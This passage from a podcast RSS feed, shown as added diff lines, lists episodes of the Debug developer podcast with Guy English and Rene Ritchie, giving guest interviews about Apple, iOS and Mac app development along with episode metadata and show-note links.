+ <itunes:subtitle>Evan Doll talks to Guy and Rene about his time at Apple on pro apps and iPhone OS, conceiving, launching, and managing Flipboard, and the value of relentless audacity.</itunes:subtitle>
+ <itunes:summary>Evan Doll talks to Guy and Rene about his time at Apple on pro apps and iPhone OS, conceiving, launching, and managing Flipboard, and the value of relentless audacity.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:29:23</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug26.mp3" fileSize="44097757" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 25: Vicki Murley on evanglizing Safari and CSS transforms</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Vicki Murley, former Safari Technology Evangelist at Apple, current founder of Sprightly Books, talks to Guy and Rene about web technologies, speaking at conferences, and beating Dan Brown at the book game.]]></description>
+ <pubDate>Mon, 09 Dec 2013 18:17:43 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug25.mp3" length="36621047" type="audio/mpeg" />
+ <guid isPermaLink="false">70F03044-BAC9-42BA-94D2-CC976F404E8A</guid>
+ <itunes:author>Guy English, Rene Ritchie, Vicki Murley</itunes:author>
+ <itunes:subtitle>Vicki Murley, former Safari Technology Evangelist at Apple, current founder of Sprightly Books, talks to Guy and Rene about web technologies, speaking at conferences, and beating Dan Brown at the book game.</itunes:subtitle>
+ <itunes:summary>Vicki Murley, former Safari Technology Evangelist at Apple, current founder of Sprightly Books, talks to Guy and Rene about web technologies, speaking at conferences, and beating Dan Brown at the book game.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:13:48</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug25.mp3" fileSize="36621047" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 24.1: Jalkut, Nielsen, Siracusa on OS X. Still.</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Daniel Jalkut, Ryan Nielsen, and John Siracusa join Guy and Rene to talk about OS X Mavericks and the future of the Mac, continuing with interface, scripting, and more. (Part 2 of 2.)]]></description>
+ <pubDate>Fri, 29 Nov 2013 00:37:29 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug24-1.mp3" length="57687686" type="audio/mpeg" />
+ <guid isPermaLink="false">FBC25594-6363-40ED-AFC4-504806A5D761</guid>
+ <itunes:author>Guy English, Rene Ritchie, John Siracusa, Ryan Nielsen, Daniel Jalkut</itunes:author>
+ <itunes:subtitle>Daniel Jalkut, Ryan Nielsen, and John Siracusa join Guy and Rene to talk about OS X Mavericks and the future of the Mac, continuing with interface, scripting, and more. (Part 2 of 2.)</itunes:subtitle>
+ <itunes:summary>Daniel Jalkut, Ryan Nielsen, and John Siracusa join Guy and Rene to talk about OS X Mavericks and the future of the Mac, continuing with interface, scripting, and more. (Part 2 of 2.)</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:57:41</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug24-1.mp3" fileSize="57687686" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 24: Jalkut, Nielsen, Siracusa and the future OS X</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Daniel Jalkut, Ryan Nielsen, and John Siracusa join Guy and Rene to talk about OS X Mavericks and the future of the Mac, starting with free updates and file systems. (Part 1 of 2.)]]></description>
+ <pubDate>Fri, 22 Nov 2013 01:23:43 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug24.mp3" length="48699882" type="audio/mpeg" />
+ <guid isPermaLink="false">8C79455A-1005-47D0-8D94-6148B054AEAA</guid>
+ <itunes:author>Guy English, Rene Ritchie, Daniel Jalkut, Ryan Nielsen, John Siracusa</itunes:author>
+ <itunes:subtitle>Daniel Jalkut, Ryan Nielsen, and John Siracusa join Guy and Rene to talk about OS X Mavericks and the future of the Mac, starting with free updates and file systems. (Part 1 of 2.)</itunes:subtitle>
+ <itunes:summary>Daniel Jalkut, Ryan Nielsen, and John Siracusa join Guy and Rene to talk about OS X Mavericks and the future of the Mac, starting with free updates and file systems. (Part 1 of 2.)</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:38:58</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug24.mp3" fileSize="48699882" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 23: Jonathan Deutsch on Apple and Tumult</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Jonathan Deutsch talks about HyperEdit, his time at Apple, the origins of Tumult, believing in Hype, and hitting people with kendo sticks.]]></description>
+ <pubDate>Thu, 14 Nov 2013 11:12:01 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug23.mp3" length="54545227" type="audio/mpeg" />
+ <guid isPermaLink="false">55838FD3-2276-4092-8309-187C91CD0D95</guid>
+ <itunes:author>Guy English, Rene Ritchie, Jonathan Deutsch</itunes:author>
+ <itunes:subtitle>Jonathan Deutsch talks about HyperEdit, his time at Apple, the origins of Tumult, believing in Hype, and hitting people with kendo sticks.</itunes:subtitle>
+ <itunes:summary>Jonathan Deutsch talks about HyperEdit, his time at Apple, the origins of Tumult, believing in Hype, and hitting people with kendo sticks.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:51:09</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug23.mp3" fileSize="54545227" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 22: Hockenberry, Rhyne, Vandal on iOS 7</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Craig Hockenberry of the Iconfactory, Rob Rhyne of Martian Craft, and Luc Vandal of Edovia talk to Guy and Rene about a lot of stuff not even vaguely related to iOS 7. And a bit that is.]]></description>
+ <pubDate>Wed, 23 Oct 2013 23:04:19 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug22.mp3" length="51850458" type="audio/mpeg" />
+ <guid isPermaLink="false">41BA03A8-441D-4F7E-8BDD-F06113B200FA</guid>
+ <itunes:author>Guy English, Rene Ritchie, Craig Hockenberry, Rob Rhyne, Luc Vandal</itunes:author>
+ <itunes:subtitle>Craig Hockenberry of the Iconfactory, Rob Rhyne of Martian Craft, and Luc Vandal of Edovia talk to Guy and Rene about a lot of stuff not even vaguely related to iOS 7. And a bit that is.</itunes:subtitle>
+ <itunes:summary>Craig Hockenberry of the Iconfactory, Rob Rhyne of Martian Craft, and Luc Vandal of Edovia talk to Guy and Rene about a lot of stuff not even vaguely related to iOS 7. And a bit that is.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:45:32</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug22.mp3" fileSize="51850458" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 21: Arment, Drance, Heber, Simmons on iOS 7</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Marco Arment of Overcast, Matt Drance of Apple Outsider, Sean Heber of the Iconfactory, and Brent Simmons of Vesper talk about developing for, and updating apps for, iOS 7.]]></description>
+ <pubDate>Thu, 10 Oct 2013 15:26:34 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug21.mp3" length="38569467" type="audio/mpeg" />
+ <guid isPermaLink="false">D7BC8EC6-9483-4511-AD6D-1199AB336D66</guid>
+ <itunes:author>Rene Ritchie, Marco Arment, Matt Drance, Sean Heber, Brent Simmons</itunes:author>
+ <itunes:subtitle>Marco Arment of Overcast, Matt Drance of Apple Outsider, Sean Heber of the Iconfactory, and Brent Simmons of Vesper talk about developing for, and updating apps for, iOS 7.</itunes:subtitle>
+ <itunes:summary>Marco Arment of Overcast, Matt Drance of Apple Outsider, Sean Heber of the Iconfactory, and Brent Simmons of Vesper talk about developing for, and updating apps for, iOS 7.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:17:52</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug21.mp3" fileSize="38569467" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 20.1: Ryan Nielsen on Tumult and Hype</title>
+ <description><![CDATA[Ryan Nielsen of Tumult talks to Guy and Rene about leaving Apple to go indie, creating Hype, App Store vs. own store, remote vs. office, and dealing with Apple from the outside. (Part 2 of 2.)]]></description>
+ <pubDate>Tue, 24 Sep 2013 23:26:21 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug20-1.mp3" length="37569457" type="audio/mpeg" />
+ <guid isPermaLink="false">09DBC71A-6116-4B59-B38C-534E7E984109</guid>
+ <itunes:author>Guy English, Rene Ritchie, Ryan Nielsen</itunes:author>
+ <itunes:subtitle>Ryan Nielsen of Tumult talks to Guy and Rene about leaving Apple to go indie, creating Hype, App Store vs. own store, remote vs. office, and dealing with Apple from the outside. (Part 2 of 2.)</itunes:subtitle>
+ <itunes:summary>Ryan Nielsen of Tumult talks to Guy and Rene about leaving Apple to go indie, creating Hype, App Store vs. own store, remote vs. office, and dealing with Apple from the outside. (Part 2 of 2.)</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:15:47</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug20-1.mp3" fileSize="37569457" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 20: Ryan Nielsen on Apple and OS X</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Ryan Nielsen of Tumult talks to Guy and Rene about how Debug began, Çingleton, and his time as an engineering project manager on OS X at Apple where he helped kick big cats out the door. (Part 1 of 2.)]]></description>
+ <pubDate>Wed, 04 Sep 2013 09:06:18 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug20.mp3" length="52094593" type="audio/mpeg" />
+ <guid isPermaLink="false">C1316876-F77F-42B2-A09D-988EFDCE275B</guid>
+ <itunes:author>Guy English, Rene Ritchie, Ryan Nielsen</itunes:author>
+ <itunes:subtitle>Ryan Nielsen of Tumult talks to Guy and Rene about how Debug began, Çingleton, and his time as an engineering project manager on OS X at Apple where he helped kick big cats out the door. (Part 1 of 2.)</itunes:subtitle>
+ <itunes:summary>Ryan Nielsen of Tumult talks to Guy and Rene about how Debug began, Çingleton, and his time as an engineering project manager on OS X at Apple where he helped kick big cats out the door. (Part 1 of 2.)</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:46:03</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug20.mp3" fileSize="52094593" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 19: Wil Shipley from NeXT to Delicious Monster</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Wil Shipley of Delicious Monster talks to Guy and Rene about coding on NeXT, forming the Omni Group, dealing with the "Air Force", making Delicious Library, and what he's working on now.]]></description>
+ <pubDate>Mon, 19 Aug 2013 20:35:46 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug19.mp3" length="62583290" type="audio/mpeg" />
+ <guid isPermaLink="false">15894087-33A7-4703-ADE0-CDF0CB93A307</guid>
+ <itunes:author>Guy English, Rene Ritchie, Wil Shipley</itunes:author>
+ <itunes:subtitle>Wil Shipley of Delicious Monster talks to Guy and Rene about coding on NeXT, forming the Omni Group, dealing with the "Air Force", making Delicious Library, and what he's working on now.</itunes:subtitle>
+ <itunes:summary>Wil Shipley of Delicious Monster talks to Guy and Rene about coding on NeXT, forming the Omni Group, dealing with the "Air Force", making Delicious Library, and what he's working on now.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:07:08</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug19.mp3" fileSize="62583290" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 18: Gus Mueller of Flying Meat</title>
+ <link>http://Guy%20English,%20Rene%20Ritchie,%20Gus%20Mueller</link>
+ <description><![CDATA[Gus Mueller of Flying Meat talks to Guy and Rene about his username, his company name, VoodooPad and Acorn, and what he thought about Apple's Mac offerings at WWDC 2013.]]></description>
+ <pubDate>Thu, 08 Aug 2013 14:49:59 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug18b.mp3" length="33420379" type="audio/mpeg" />
+ <guid isPermaLink="false">FCA73556-4645-4B67-8ED7-F61F100A2B10</guid>
+ <itunes:author>Guy English, Rene Ritchie, Gus Mueller</itunes:author>
+ <itunes:subtitle>Gus Mueller of Flying Meat talks to Guy and Rene about his username, his company name, VoodooPad and Acorn, and what he thought about Apple's Mac offerings at WWDC 2013.</itunes:subtitle>
+ <itunes:summary>Gus Mueller of Flying Meat talks to Guy and Rene about his username, his company name, VoodooPad and Acorn, and what he thought about Apple's Mac offerings at WWDC 2013.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:07:08</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug18b.mp3" fileSize="33420379" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 17: Krzysztof Zabłocki and Foldify</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Krzysztof Zabłocki of Foldify joins Guy and Rene to talk about building game engines, the power and insanity of C++, swizzling and stomping Objective C, and how to pronounce Commodore 64 in Polish.]]></description>
+ <pubDate>Sun, 07 Jul 2013 21:05:49 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug17.mp3" length="72987029" type="audio/mpeg" />
+ <guid isPermaLink="false">BEFB5AFF-E6E9-4056-AF6E-9D35423C536B</guid>
+ <itunes:author>Guy English, Rene Ritchie, Krzysztof Zabłocki</itunes:author>
+ <itunes:subtitle> Krzysztof Zabłocki of Foldify joins Guy and Rene to talk about building game engines, the power and insanity of C++, swizzling and stomping Objective C, and how to pronounce Commodore 64 in Polish. </itunes:subtitle>
+ <itunes:summary> Krzysztof Zabłocki of Foldify joins Guy and Rene to talk about building game engines, the power and insanity of C++, swizzling and stomping Objective C, and how to pronounce Commodore 64 in Polish. </itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:39:43</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug17.mp3" fileSize="72987029" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 16.1: David Gelphman on Apple, Core Graphics, and AirPrint</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[David Gelphman, former graphics and imaging engineer at Apple, talks to Guy and Rene about writing the book on Core Graphics, developing AirPrint, and discovers Montreal has bagels (Part 2 of 2).]]></description>
+ <pubDate>Mon, 22 Jul 2013 10:43:09 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug16-1.mp3" length="42235796" type="audio/mpeg" />
+ <guid isPermaLink="false">D12E7322-7180-4039-B846-EE59FD9C42FC</guid>
+ <itunes:author>Guy English, Rene Ritchie, David Gelphmen</itunes:author>
+ <itunes:subtitle>David Gelphman, former graphics and imaging engineer at Apple, talks to Guy and Rene about writing the book on Core Graphics, developing AirPrint, and discovers Montreal has bagels (Part 2 of 2).</itunes:subtitle>
+ <itunes:summary>David Gelphman, former graphics and imaging engineer at Apple, talks to Guy and Rene about writing the book on Core Graphics, developing AirPrint, and discovers Montreal has bagels (Part 2 of 2).</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug16-1.mp3" fileSize="42235796" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 16: David Gelphman from Adobe to General Magic</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[David Gelphman, former graphics and imaging engineer at Apple, talks to Guy and Rene about working on Postscript at Adobe, his time at General Magic, and how to avoid inverting bug fix prognostication equations. (Part 1 of 2)]]></description>
+ <pubDate>Wed, 19 Jun 2013 15:42:34 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug16c.mp3" length="62180715" type="audio/mpeg" />
+ <guid isPermaLink="false">7860099C-6589-4DB5-AA79-DA07548FBF98</guid>
+ <itunes:author>Guy English, Rene Ritchie, David Gelphman</itunes:author>
+ <itunes:subtitle>David Gelphman, former graphics and imaging engineer at Apple, talks to Guy and Rene about working on Postscript at Adobe, his time at General Magic, and how to avoid inverting bug fix prognostication equations. (Part 1 of 2)</itunes:subtitle>
+ <itunes:summary>David Gelphman, former graphics and imaging engineer at Apple, talks to Guy and Rene about working on Postscript at Adobe, his time at General Magic, and how to avoid inverting bug fix prognostication equations. (Part 1 of 2)</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug16c.mp3" fileSize="62180715" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Special: WWDC 2013 live</title>
+ <link>http://www.imore.com/podcasts</link>
+ <description><![CDATA[Guy English of Debug, Marc Edwards and Seth Clifford of Iterate, and Rene Ritchie of iMore team up to talk WWDC 2013 with guests Mark Kawano, Don Melton, Dave Wiskus, Dan Moren, Brad Ellis, Brent Simmons, and more! Also: Hall of Fame awards!]]></description>
+ <pubDate>Tue, 11 Jun 2013 20:59:39 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/phonedifferent/wwdc2013b.mp3" length="13781044" type="audio/mpeg" />
+ <guid isPermaLink="false">AD237D25-0251-4F79-9A60-1D69B6A02D56</guid>
+ <itunes:author>Guy English, Marc Edwards, Seth Clifford, Rene Ritchie</itunes:author>
+ <itunes:subtitle>Guy English of Debug, Marc Edwards and Seth Clifford of Iterate, and Rene Ritchie of iMore team up to talk WWDC 2013 with guests Mark Kawano, Don Melton, Dave Wiskus, Dan Moren, Brad Ellis, Brent Simmons, and more! Also: Hall of Fame awards!</itunes:subtitle>
+ <itunes:summary>Guy English of Debug, Marc Edwards and Seth Clifford of Iterate, and Rene Ritchie of iMore team up to talk WWDC 2013 with guests Mark Kawano, Don Melton, Dave Wiskus, Dan Moren, Brad Ellis, Brent Simmons, and more! Also: Hall of Fame awards!</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>37:30</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/phonedifferent/wwdc2013b.mp3" fileSize="13781044" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 15: Simmons, Wiskus, Gruber, and Vesper</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[<p>Brent Simmons, Dave Wiskus, and John Gruber join Guy and Rene to talk about their new app, Vesper, the value of ideas and collecting them, the art of collaboration, flat design, accessibility, testing, app pricing, and more. Also: Mad Men.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://vesperapp.co">Vesper</a></li>
+<li><a href="http://www.muleradio.net/thetalkshow/42/">The Talk Show 42: No One has a Higher Horse</a></li>
+<li><a href="http://www.glassboard.com">Glassboard</a></li>
+<li><a href="http://vimeo.com/60224584">Brad Ellis at Çingleton</a></li>
+<li><a href="http://vimeo.com/63161309">Michael Jurewitz at Çingleton</a></li>
+</ul>
+
+
+
+<h2>Guests</h2>
+
+<ul>
+<li><a href="https://twitter.com/donmelton">Brent Simmons</a> of <a href="http://inessential.com">inessential.com</a></li>
+<li><a href="https://twitter.com/dwiskus">Dave Wiskus</a> of <a href="http://http://unprofesh.com">Unprofessional</a> and <a href="http://www.betterelevation.com">Better Elevation</a></li>
+<li><a href="https://twitter.com/gruber">John Gruber</a> of <a href="http://daringfireball.net">Daring Fireball</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li><a href="http://twitter.com/gte">Guy English</a> of <a href="http://www.kickingbear.com">Kickingbear</a></p>
+<li><a href="http://twitter.com/reneritchie/">Rene Ritchie</a> of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Thu, 06 Jun 2013 12:13:08 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug15v.mp3" length="86552537" type="audio/mpeg" />
+ <guid isPermaLink="false">40263349-E22E-4E1E-A246-A3BA49BF8908</guid>
+ <itunes:author>Guy English, Rene Ritchie, Brent Simmons, Dave Wiskus, John Gruber</itunes:author>
+ <itunes:subtitle>Brent Simmons, Dave Wiskus, and John Gruber join Guy and Rene to talk about their new app, Vesper, the value of ideas and collecting them, the art of collaboration, flat design, accessibility, testing, app pricing, and more. Also: Mad Men.</itunes:subtitle>
+ <itunes:summary>Brent Simmons, Dave Wiskus, and John Gruber join Guy and Rene to talk about their new app, Vesper, the value of ideas and collecting them, the art of collaboration, flat design, accessibility, testing, app pricing, and more. Also: Mad Men.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:58:33</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug15v.mp3" fileSize="86552537" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 14: Ben Lachman and Robert Cantoni have a Nice Mohawk</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[<p>Ben Lachman and Robert Cantoni join Guy and Rene to talk about their list manager app, Ita, and the possibilities of it coming to the Mac, blogging as a duet, the importance of accessibility, and how to have a really Nice Mohawk.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://acaciatreesoftware.com">SousChef for Mac: Your cooking assistant</a></li>
+
+<li><a href="http://nicemohawk.com/ita/">Ita - A list app with which to do lists</a></li>
+
+<li><a href="http://nicemohawk.com/blog/">Nice Mohawk blog</a></li>
+
+<li><a href="http://engineering.twitter.com/2011/07/starting-today-twitter-is-offering-twui.html">TwUI: Fast core animation UI for the Mac</a></li>
+
+<li><a href="http://chameleonproject.org">Chameleon: UIKit for Mac development</a></li>
+
+<li><a href="https://www.facebook.com/home">Facebook Home</a></li>
+</ul>
+
+<h2>Guests</h2>
+
+<ul>
+<li><a href="https://twitter.com/blach">Ben Lachman</a> of <a href="http://nicemohawk.com">Nice Mohawk</a></li>
+
+
+<li><a href="https://twitter.com/cantoni">Robert Cantoni</a> of <a href="http://nicemohawk.com">Nice Mohawk</a></li>
+<p> </p>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+<li><a href="http://twitter.com/gte">Guy English</a> of <a href="http://www.kickingbear.com">kickingbear</a></li>
+
+<li><a href="http://twitter.com/reneritchie/">Rene Ritchie</a> of <a href="http://www.imore.com/">iMore</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Sat, 04 May 2013 08:58:57 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug14.mp3" length="51795680" type="audio/mpeg" />
+ <guid isPermaLink="false">909986A2-6B72-4535-A423-660F47A35663</guid>
+ <itunes:author>Guy English, Rene Ritchie, Ben Lachman, Robert Cantoni</itunes:author>
+ <itunes:subtitle>Ben Lachman and Robert Cantoni join Guy and Rene to talk about their list manager app, Ita, and the possibilities of it coming to the Mac, blogging as a duet, the importance of accessibility, and how to have a really Nice Mohawk.</itunes:subtitle>
+ <itunes:summary>Ben Lachman and Robert Cantoni join Guy and Rene to talk about their list manager app, Ita, and the possibilities of it coming to the Mac, blogging as a duet, the importance of accessibility, and how to have a really Nice Mohawk.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:10:17</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug14.mp3" fileSize="51795680" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 13: Mike Lee and Lemur Chemistry</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[<p>Mike Lee of the New Lemurs talks to Guy and Rene about airline Java, Delicious Library, Tapulous and the early days of iOS, United Lemurs, VC mistakes, the Obama and Apple Store apps, the Appsterdam project, New Lemurs, and dressing like a space pirate.</p>
+
+
+<h2>Show notes</h2>
+
+<p>- [Delicious Library](http://www.delicious-monster.com)
+<br />- [Tapulous](https://www.facebook.com/taptaprevenge)
+<br />- [Obama '08](http://mantia.me/portfolio/obama/)
+<br />- [Apple Store app](https://itunes.apple.com/en/app/apple-store/id375380948?mt=8)
+<br />- [New Lemurs](http://le.mu.rs)</p>
+
+<h2>Guests</h2>
+
+<ul>
+<li><a href="https://twitter.com/bmf">Mike Lee</a> of <a href="http://mur.mu.rs">New Lemurs</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li><a href="http://twitter.com/gte">Guy English</a> of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+<li><a href="http://twitter.com/reneritchie/">Rene Ritchie</a> of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Tue, 16 Apr 2013 09:11:20 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug13.mp3" length="68456079" type="audio/mpeg" />
+ <guid isPermaLink="false">5574DB06-0E19-4089-92CA-C1727472E2A1</guid>
+ <itunes:author>Guy English, Rene Ritchie, Mike Lee</itunes:author>
+ <itunes:subtitle>Mike Lee of the New Lemurs talks to Guy and Rene about airline Java, Delicious Library, Tapulous and the early days of iOS, United Lemurs, VC mistakes, the Obama and Apple Store apps, the Appsterdam project, New Lemurs, and dressing like a space pirate.</itunes:subtitle>
+ <itunes:summary>Mike Lee of the New Lemurs talks to Guy and Rene about airline Java, Delicious Library, Tapulous and the early days of iOS, United Lemurs, VC mistakes, the Obama and Apple Store apps, the Appsterdam project, New Lemurs, and dressing like a space pirate.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:33:25</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug13.mp3" fileSize="68456079" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 12: iCloud and Core Data sync</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[<p>Daniel Pasco of Black Pixel, Brent Simmons of Ranchero Software, and Justin Williams of Second Gear talk to Guy and Rene about iCloud Core Data sync, why everyone seems to be in a bad mood about it, and how, if at all, Apple can fix it.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://blackpixel.com/blog/2013/03/the-return-of-netnewswire.html">The Return of NetNewsWire</a></li>
+
+<li><a href="http://createlivelove.com/246">Why all my iOS Apps are on hold - or iCloud sucks Part II</a></li>
+
+<li><a href="http://www.jumsoft.com/2013/01/response-to-sync-issues/">Response to Sync Issues</a></li>
+
+<li><a href="http://mentalfaculty.tumblr.com/post/25241910449/under-the-sheets-with-icloud-and-core-data">Under the Sheets with iCloud and Core Data: Troubleshooting</a></li>
+
